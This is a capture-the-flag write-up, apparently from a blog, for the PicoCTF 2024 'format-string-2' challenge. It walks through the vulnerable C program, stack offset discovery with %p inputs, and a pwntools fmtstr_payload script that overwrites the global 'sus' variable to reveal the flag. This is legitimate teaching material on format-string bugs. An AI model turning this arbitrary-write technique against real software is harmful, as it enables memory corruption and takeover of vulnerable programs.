--- title: "PicoCTF 2024: format-string-2" excerpt: "Using format string bug to get an arbitrary write primitive" tags: [ctf, pwn] --- ## Recon Following the format-string-1 challenge, we get an executable that we can analyze as always: ``` $ file vuln vuln: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=dfe923d97df1df729249ff21202d10ad15d45f4c, for GNU/Linux 3.2.0, not stripped $ checksec --file=vuln [*] '/home/qelal/PicoCTF/fmt2/vuln' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) SHSTK: Enabled IBT: Enabled Stripped: No ``` We can take a look at the source code: ```c #include int sus = 0x21737573; int main() { char buf[1024]; char flag[64]; printf("You don't have what it takes. Only a true wizard could change my suspicions. What do you have to say?\n"); fflush(stdout); scanf("%1024s", buf); printf("Here's your input: "); printf(buf); printf("\n"); fflush(stdout); if (sus == 0x67616c66) { printf("I have NO clue how you did that, you must be a wizard. Here you go...\n"); // Read in the flag FILE *fd = fopen("flag.txt", "r"); fgets(flag, 64, fd); printf("%s", flag); fflush(stdout); } else { printf("sus = 0x%x\n", sus); printf("You can do better!\n"); fflush(stdout); } return 0; } ``` There is a format string bug on `printf(buf)`. This time we won't only need to read leaked data off the stack, but instead we'll have to overwrite a global variable, named `sus`. As it is global, it won't be stored on the stack as other local variables. Fortunately, as the binary is not PIE, we know that the address for `sus` will always be the same. It can be found from static analysis: ``` $ objdump -t vuln | grep sus 0000000000404060 g O .data 0000000000000004 sus ``` So it is located at `0x404060`. The value we'll have to overwrite `sus` with is `0x67616c66`, as we know from the source code. ## Exploit To be able to inject the address of `sus` and write to it, we will first get the offset of where our input data is on the stack. To make it easy, we will inject an unique "AAAAAAAA" payload (which in ASCII is eight times 0x41) and see where it ends up: ``` $ ./vuln You don't have what it takes. Only a true wizard could change my suspicions. What do you have to say? AAAAAAAA%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p. Here's your input: AAAAAAAA0x402075.(nil).(nil).0x402073.0x7efcbbadaa80.0x7efcbbb3a668.0x7ffc00000001.0x7efcbbb3a2e0.0xffffffff.0x7efcbb919678.0x7efcbbb04400.0x1.0x7ffc68e8fea0.0x4141414141414141.0x70252e70252e7025.0x252e70252e70252e. sus = 0x21737573 You can do better! ``` Our input is at the 14th position on the stack. To be sure we can confirm this offset by using a more precise format specifier: ``` $ ./vuln You don't have what it takes. Only a true wizard could change my suspicions. What do you have to say? AAAAAAAA%14$p Here's your input: AAAAAAAA0x4141414141414141 sus = 0x21737573 You can do better! ``` By the way we could also use a bit of dynamic analysis on our local machine (with a dummy flag file) to see if our hypothesis is right (unnecessary but still nice to see): ``` pwndbg> set *0x404060 = 0x67616c66 pwndbg> c Continuing. ff Here's your input: ff I have NO clue how you did that, you must be a wizard. Here you go... CTF{dummy} [Inferior 1 (process 12774) exited normally] ``` Now that we know this, we can automate the exploit craft for this using the `fmtstr_payload` helper from pwntools: ```python io = start() sus_addr = 0x404060 payload = fmtstr_payload(14, {sus_addr: 0x67616c66}) io.sendlineafter(b'say?', payload) print(io.recvall()) ``` This writes the desired value to the address of `sus`, and the payload will be injected on 14th position of the stack, as we know this is where our input ends up being. We bypass the check, and get the flag.